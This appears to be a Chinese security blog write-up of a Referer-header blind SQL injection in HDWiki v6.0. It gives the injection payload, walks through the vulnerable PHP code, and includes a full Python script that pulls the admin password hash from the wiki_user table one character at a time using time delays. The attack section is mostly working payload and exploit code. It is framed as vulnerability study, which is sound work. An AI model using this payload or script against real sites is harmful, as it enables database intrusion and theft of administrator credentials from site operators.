F0rmat

HDWiki v6.0最新版referer注入漏洞(每周一洞)

2018-07-22

0x01 前言

经拖稿一个月了,差了四篇文章没补回来, 现在都补上,虽然说这样没有坚持的按时写下去,但是只要记得要做这个事情就行了,不能中途而废。这个漏洞比较鸡肋,搁现在估计都没戏了,但是这个漏洞的思路可以学习下,积累经验。

0x02 环境搭建

6.0可以在官网下载:http://kaiyuan.hudong.com/download/
在文章底部也会附上源码,搭建就不详细说明了,在我的其他文章也有搭建的详细步骤。用到的集成环境是PHPstudy,PHP版本是5.3,开启GPC。

0x03 漏洞利用

1. 注册账号

http://sb.com/index.php?user-register

2. 截获数据包

http://sb.com/index.php?user-login,
用burp或者其他工具截取数据包。

3. 执行Payload

在数据包下面加上referer:referer:' where if((substr((select password from wiki_user where username='admin'),1,1))='e',sleep(5),0)#

看到burp的右下角时间比没有加上payload的时候多了5s,证明漏洞利用成功。

0x04 漏洞分析

文件control/user.php的110行dologin()函数,为什么要登录用户才有效呢,因为$_ENV['user']这里检测了cookies,所以没有用户登录是不能执行不成功的。想了解的可以进去读一下这个代码,主要存在注入的地方是在$_ENV['user']->add_referer();这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function dologin(){

$_ENV['user']->passport_server('login','1');
if(!isset($this->post['submit'])){
$this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);

$_ENV['user']->add_referer();
$_ENV['user']->passport_server('login','2');
$_ENV['user']->passport_client('login');

if (!isset($this->setting['name_min_length'])) {$this->setting['name_min_length'] = 3;}
if (!isset($this->setting['name_max_length'])) {$this->setting['name_max_length'] = 15;}
$loginTip2 = str_replace(array('3','15'),array($this->setting['name_min_length'],$this->setting['name_max_length']),$this->view->lang['loginTip2']);
$this->view->assign('name_min_length',$this->setting['name_min_length']);
$this->view->assign('name_max_length',$this->setting['name_max_length']);
$this->view->assign('loginTip2',$loginTip2);
//$this->view->display('login');
$_ENV['block']->view('login');
}else{

继续跟进add_referer()函数的分析,model\user.class.php的41行,这里判断了HTTP_REFERER是否为真然后执行下面内容,可以看到把$_SERVER['HTTP_REFERER']带入UPDATE语句,但是有一个haddslashes函数的过滤。

1
2
3
4
5
function add_referer(){
if($_SERVER['HTTP_REFERER']){
$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");
}
}

我们进入haddslashes()函数,在lib\string.class.php文件的125行,可以看到MAGIC_QUOTES_GPC如果PHP开启了GPC,那就不进行下面的过滤直接返回原字符串$string,所以就造成了SQL注入。

1
2
3
4
5
6
7
8
9
10
11
12
function haddslashes($string, $force = 0) {
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = string::haddslashes($val, $force);
}
}else {
$string = addslashes($string);
}
}
return $string;
}

0x05 Python脚本

因为是盲注所以还是脚本跑比较省事,改进了一下原作者的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding:utf-8
import time
import httplib
payloads = list('1234567890abcdefghijklmnopqrstuvwxyz')#匹配用到的字符串
val =''
Cookies = 'hd_sid=pUQ1Aq; PHPSESSID=jatvti3nlm2ro3i7oscke307e0; hd_auth=fa04EhT6qA%2BHMlu7IOesKoc8Xs%2F5b%2Fd18B4obJ17nm7F%2BvPbknFWVkAx1u4CLLl75EzncqWZRI94cSDMjJEV'
url = '/index.php?user-login'
for i in xrange(1,32):
for payload in payloads:
header ={
'Cookie':Cookies,
'referer':"'where if(substr((select password from wiki_user where username='admin'),"+str(i)+",1)='"+payload+"',sleep(3),0)#",
}
try:
conn = httplib.HTTPConnection('sb.com',timeout=5)
conn.request(method='GET',url=url,headers=header)
start = time.clock()
html_doc=conn.getresponse().read()
end = time.clock()
dely=end-start
#print dely
if((dely)>2):
val+=payload
break
except Exception as e:
pass
finally:
conn.close()

print 'password:'+val

0x06 结束

这个漏洞确实是比较鸡肋的,要PHP小于5.4版本并且开启GPC,现在PHP差不多都是5.6版本以上的。

0x07 参考

http://www.freebuf.com/vuls/170337.html

https://github.com/F0r3at/Python-Tools/blob/master/sql_hdwiki6.py

https://www.lanzous.com/i1hb0od 源码